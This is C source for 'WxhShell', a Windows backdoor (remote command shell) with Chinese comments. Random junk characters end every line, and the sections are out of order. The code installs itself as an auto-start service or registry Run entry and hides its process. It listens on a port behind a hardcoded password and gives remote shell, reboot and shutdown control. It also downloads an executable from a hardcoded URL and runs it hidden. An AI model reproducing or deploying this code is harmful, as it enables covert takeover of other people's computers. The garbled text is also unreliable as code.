DWORD AffinityMask; 9Js+*,t
DWORD BasePriority; w)N~u%
ULONG UniqueProcessId; 9U>OeTh(
ULONG InheritedFromUniqueProcessId; ;
DXsPpZC
} PROCESS_BASIC_INFORMATION; ^'\JI
"UX/yLc3(
PROCNTQSIP NtQueryInformationProcess; <*Nd%Ca
R_^0Un([
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +Jm~Um!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N C%96gfD
60TM!\
HANDLE hProcess; <$(y6+lY
PROCESS_BASIC_INFORMATION pbi; E$.f AIt
\&_pI2X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `=V p 0tPI
if(NULL == hInst ) return 0; RDfvD|}VN
@r&*Qsf|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {oSdVRI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j(A>M_f;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a[Nm<
qV05
GQ(*k)'a
if (!NtQueryInformationProcess) return 0; 577#A, O
E+ctiVL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e%s1D
if(!hProcess) return 0; Q5c3C&$6
GKc?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kXV;J$1
STl8h}C
CloseHandle(hProcess); i#98KzE
Y'{}L@"t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
5@DCo
if(hProcess==NULL) return 0; E{0e5. {
$l2`@ia"
HMODULE hMod; \ZM5J
char procName[255]; %~I&T".iC
unsigned long cbNeeded; 5o0n4W
7t+d+sQ-l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xax[#Vl4
Nw9@E R
CloseHandle(hProcess); #W6 6`{>
g$ HL::
if(strstr(procName,"services")) return 1; // 以服务启动 x <a}*8"
~/X8Hy!-
return 0; // 注册表启动 4[i 3ckFT,
} L(bDk'zi
;vneeW4|
// 主模块 gg.]\#3g
int StartWxhshell(LPSTR lpCmdLine) )w~1VcnJEp
{ +m]-)
SOCKET wsl; ~n8UN<
BOOL val=TRUE; 'z^'+}iyv
int port=0; 9 Jw,ls
struct sockaddr_in door; =/}Rnl+c
7m
ou
if(wscfg.ws_autoins) Install(); !KJA)znx;(
k,$/l1D
port=atoi(lpCmdLine); KTt+}-vP^
>-\^ )z
if(port<=0) port=wscfg.ws_port; Cu5_OJ
z Ohv>a
WSADATA data; 2Y%7.YX"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sZ~03QvkT
*+zFsu4l
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c]Gs{V]\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %19~9Tw
door.sin_family = AF_INET; !yT=*Cj4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jI'?7@32`
door.sin_port = htons(port); 0ETT@/)]z
y{&%]Fq
<5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B8eZ}9X
closesocket(wsl); 4i.&geXA.
return 1; 45n.%*,
} *^Zt)U1$|
V dvj*I
if(listen(wsl,2) == INVALID_SOCKET) { %E/#h8oN{
closesocket(wsl); EcX7wrl9x
return 1; <{8x-zbR+
} pY-!NoES
Wxhshell(wsl); 9od c :
WSACleanup(); %,1TAmJfHa
ob8}v*s
return 0; "!(@MfjT
ZQym8iV/
} \a7m!v
ZbVn"he
// 以NT服务方式启动 <m^a
?q^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A(uo%QE|
{ Du
+_dr^4
DWORD status = 0; `jR8RDD
DWORD specificError = 0xfffffff; ;F*^c
)
)7!,_r
serviceStatus.dwServiceType = SERVICE_WIN32; J zFR9DEt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; mE1Vr
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }"nm3\Df
serviceStatus.dwWin32ExitCode = 0; 5 (!F Q
serviceStatus.dwServiceSpecificExitCode = 0; cAGM|%
serviceStatus.dwCheckPoint = 0; w0@XJH:P
serviceStatus.dwWaitHint = 0; ctHQZ#.[(
!]}C!dXd
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j@#RfVx
if (hServiceStatusHandle==0) return; y{<js!au
8@+<W%+th
status = GetLastError(); N-b'O`C
if (status!=NO_ERROR) h8%QF'C
{ !-n*]C
serviceStatus.dwCurrentState = SERVICE_STOPPED; >);M\,1\I
serviceStatus.dwCheckPoint = 0; sw}^@0ua=
serviceStatus.dwWaitHint = 0; W`u @{Vb]
serviceStatus.dwWin32ExitCode = status; 8%?MRRK
serviceStatus.dwServiceSpecificExitCode = specificError; 7)1%Z{Dy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]b>XN8y.
return; g18zo~LZ
} Nxl#]
g~,iWoY
serviceStatus.dwCurrentState = SERVICE_RUNNING; #@w/S:KbJt
serviceStatus.dwCheckPoint = 0; pYm#iz
serviceStatus.dwWaitHint = 0; 7O%^4D
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ooB9iNo^
} =`>ei
6:8Nz
// 处理NT服务事件,比如:启动、停止 >'=9sCi
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Qb}z@>fJk
{ "x.iD,>k
switch(fdwControl) jTNt!2 :B
{ hP{+`\&<f
case SERVICE_CONTROL_STOP: E_$nsM8?
serviceStatus.dwWin32ExitCode = 0; RTbV!I
serviceStatus.dwCurrentState = SERVICE_STOPPED; >dgq2ok!u
serviceStatus.dwCheckPoint = 0; 9bRUN<
serviceStatus.dwWaitHint = 0; iD%a;]
{ :6%ivS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8"NPj0
} |"KdW#.x
return; a(|0'^
case SERVICE_CONTROL_PAUSE: ;XyryCo
serviceStatus.dwCurrentState = SERVICE_PAUSED; DzA'MX
break; v8'XchJ
case SERVICE_CONTROL_CONTINUE: .}eM"Kv
serviceStatus.dwCurrentState = SERVICE_RUNNING; NOoF1kS+
break; K0o${%'@7
case SERVICE_CONTROL_INTERROGATE: 1#;^Z3
break; =zrfh-lwH
}; @c"s6h&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ek/zQM@%
} lb*;Z7fx<'
">h$(WCK
// 标准应用程序主函数 0*kS\R=P
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `'P&={p8
{ (nBh6u*
"X!1^)W-8
// 获取操作系统版本 ]Lg~I#/#
OsIsNt=GetOsVer(); ZQir?1=
GetModuleFileName(NULL,ExeFile,MAX_PATH); )K::WqR%w)
O[L#|_BnEO
// 从命令行安装 HE_UHv
if(strpbrk(lpCmdLine,"iI")) Install(); (E,[Ad,$
Unq~lt%2
// 下载执行文件 x./"SQ=R+
if(wscfg.ws_downexe) { iqB%sIP
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %qE"A6j
WinExec(wscfg.ws_filenam,SW_HIDE); EB}~^ aY
} &;r'JIp
^
T`T?*h
if(!OsIsNt) { *qLk'<
// 如果时win9x,隐藏进程并且设置为注册表启动 mea}
9]c
HideProc(); @x
A^F%(
StartWxhshell(lpCmdLine); :yi} CM4
} Q3$DX,8?
else H d7Vp:KM
if(StartFromService()) _akjgwu
// 以服务方式启动 u0)9IZxc
StartServiceCtrlDispatcher(DispatchTable); vr?u=_%Z
else Pk(%=P,
// 普通方式启动 9&Y|,&W
StartWxhshell(lpCmdLine);
E;'{qp
a+ O?bO
return 0; lk81IhI
} \Nf[8n#{
r58<A'#
3 m-g-
{%P2.:
=========================================== 9AQ,@xP|
`m#G'E I
L})*ck
x;} 25A|
31#jLWY'0
0Y0`$
" nra)t|m
-k2|`t _
#include <stdio.h> ?|}qT05
#include <string.h> 7h41 E#
#include <windows.h> 9B83HV4J
#include <winsock2.h> (JjxrZ+L
#include <winsvc.h> 9`VY)"rJ
#include <urlmon.h> :9x]5;ma
*uccY_
#pragma comment (lib, "Ws2_32.lib") 2~ETu&R:
#pragma comment (lib, "urlmon.lib") 7PUy`H,&
cH|J
#define MAX_USER 100 // 最大客户端连接数 7i02M~*uS
#define BUF_SOCK 200 // sock buffer '^7UcgugB
#define KEY_BUFF 255 // 输入 buffer '"LaaTTs
hcYqiM@8>
#define REBOOT 0 // 重启 _/.VXW
#define SHUTDOWN 1 // 关机 +7
j/.R
Lc]hwMGR*
#define DEF_PORT 5000 // 监听端口 dN:^RCFzS
fk1d iB
#define REG_LEN 16 // 注册表键长度
rf'A+q
#define SVC_LEN 80 // NT服务名长度 Vu4LC&q
ePaC8sd0
// 从dll定义API `C-8zA
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :=!6w
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q;f L@L@-
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'gD./|Z0
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QK #qW-49O
\LQZoD?W
// wxhshell配置信息 %Q.M& U
struct WSCFG { RF
-c`C
int ws_port; // 监听端口 /n$R-Q
char ws_passstr[REG_LEN]; // 口令 P%Q'w
int ws_autoins; // 安装标记, 1=yes 0=no t.O~RE
char ws_regname[REG_LEN]; // 注册表键名 7
TM-uA$
char ws_svcname[REG_LEN]; // 服务名 k$#1T +(G
char ws_svcdisp[SVC_LEN]; // 服务显示名 T?jN/}qg
char ws_svcdesc[SVC_LEN]; // 服务描述信息 tO1k2<Z"Y&
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4 CiRh
int ws_downexe; // 下载执行标记, 1=yes 0=no /!6 VP |
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (sH4T>
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9U3 }_
E(1G!uu<
}; CQ Ei(ty
10r!p:D
// default Wxhshell configuration **AkpV)
struct WSCFG wscfg={DEF_PORT, yOXEP
"xuhuanlingzhe", V,[[#a)y
1, i*&b@.7N
"Wxhshell", g_>E5z.
"Wxhshell", ft0d5n!ui4
"WxhShell Service", !mwMSkkq
"Wrsky Windows CmdShell Service", b`DPlQHj
"Please Input Your Password: ", )u]=^
1, ]+w 27!
"http://www.wrsky.com/wxhshell.exe", jG}nOI
"Wxhshell.exe" f8f3[O!x
}; yw7bIcs|#b
meThjCC
// 消息定义模块 GN5*
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %=s2>vv9
char *msg_ws_prompt="\n\r? for help\n\r#>"; [x`),3qD
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /%t`0pi
char *msg_ws_ext="\n\rExit."; V}Q`dEk2r
char *msg_ws_end="\n\rQuit."; k{|>!(Ax
char *msg_ws_boot="\n\rReboot..."; h:FN&E c}
char *msg_ws_poff="\n\rShutdown..."; R]>0A3P
char *msg_ws_down="\n\rSave to "; d:cOdm>,
GlJOb|WOX
char *msg_ws_err="\n\rErr!"; Dd,
&a
char *msg_ws_ok="\n\rOK!"; XI`s M~'
Y(T$k9%}+
char ExeFile[MAX_PATH]; rF{,]U9`
int nUser = 0; auY?Cj'"fs
HANDLE handles[MAX_USER]; x1Gc|K/-
int OsIsNt; Y q|OX<i`K
{S@,
,
SERVICE_STATUS serviceStatus; h+YPyeAs
SERVICE_STATUS_HANDLE hServiceStatusHandle; wsAb8U C_
ku>Bxau4>
// 函数声明 7[R`52pP
int Install(void); ALInJ{X
int Uninstall(void); 5RY-.c4}
int DownloadFile(char *sURL, SOCKET wsh); i`}9VaUG
int Boot(int flag); r9D
68*H
void HideProc(void); >,)U46
int GetOsVer(void); W+s3rS2
int Wxhshell(SOCKET wsl); o62GEl25
void TalkWithClient(void *cs); (5hUoDr!
int CmdShell(SOCKET sock); q"f7$
int StartFromService(void); $t5>1G1j7
int StartWxhshell(LPSTR lpCmdLine); c7tO'`q$e
c@j3L23B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .~^A!t
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lD#
yXLaC\
~~p )_
// 数据结构和表定义 }<'ki
;
SERVICE_TABLE_ENTRY DispatchTable[] = tv]9n8v
{ N];K
{wscfg.ws_svcname, NTServiceMain}, p"*xyex
{NULL, NULL} cb. -AlqQ
}; 1n.F`%YG
&,,:pL[
// 自我安装 n-dC!t
int Install(void) Z`%^?My
{ _tQM<~Y]u\
char svExeFile[MAX_PATH]; l Yj$3
HKEY key; .+lx}#-#
strcpy(svExeFile,ExeFile); tTt}=hQpgX
c2Y\bKeN
// 如果是win9x系统,修改注册表设为自启动 e%7#e%1s
if(!OsIsNt) { |a'$v4dCF
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $HRl:KDdP~
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (~"#=fs.L
RegCloseKey(key); UZ:z|a3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i0?/\@gd
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E 429<LQI/
RegCloseKey(key); Q5 o0!w
return 0; YCdtf7P=q
} Y|KT3
} Cw5B
p9
} nLrCy5R:
else { @j(2tJ,w
6"r _Y7%
// 如果是NT以上系统,安装为系统服务 :/>Zky8,k
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {aU|BdATI
if (schSCManager!=0) {817Svp@
{ A9GSeW<
SC_HANDLE schService = CreateService :j32 :/u
( f]Rh<N$
schSCManager, _0iV6Bj
wscfg.ws_svcname, <e@4;Z(h04
wscfg.ws_svcdisp, lpbcpB
SERVICE_ALL_ACCESS, 4#B56f8
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wkJ@#jD*[
SERVICE_AUTO_START, g/w<T+v
SERVICE_ERROR_NORMAL, iBKH\em/
svExeFile, od&wfwk(
NULL, dI%N wl%
NULL, S.U#lAn(
NULL, %w/vKB"nO
NULL, m1sV~"v;
NULL hw B9N
); pqohLA
if (schService!=0) !bn=b>+
{ &}#zG5eu
CloseServiceHandle(schService); ]KUeSg|
CloseServiceHandle(schSCManager); hij
9r z
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >``
strcat(svExeFile,wscfg.ws_svcname); *qr>x8OGp
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *c(YlfeZ#
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q5)
K
RegCloseKey(key); E$v!Z; A
return 0; I 6L3M\+-
} iBY16_q
} j:HIcCp
CloseServiceHandle(schSCManager); m:9|5W
} y7Hoy.(
} A^\g]rmK
?lU(FK
return 1; AU8sU?=
} 8/"C0I (G
qtz~Y~h|>
// 自我卸载 q0nIJ(
int Uninstall(void) UhU"[^YO
{ X#fjIrn
HKEY key; /:C<{m.[}
K d{o/R
if(!OsIsNt) { :8A@4vMS)?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S>s+ nqcP
RegDeleteValue(key,wscfg.ws_regname); IJ7wUZp"
RegCloseKey(key); qsYg%Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )E^Pn|H
RegDeleteValue(key,wscfg.ws_regname); LMLrH.
RegCloseKey(key); `~NjBtQ
return 0; -'^:+FU
} ,}l|_GGj
} ;Qq7@(2y
} $gCN[%+j
else { *bzqH 2h8
qXoq<
|
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R.YUUXT
if (schSCManager!=0) sg4(@>
{ nZEew.T:6
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &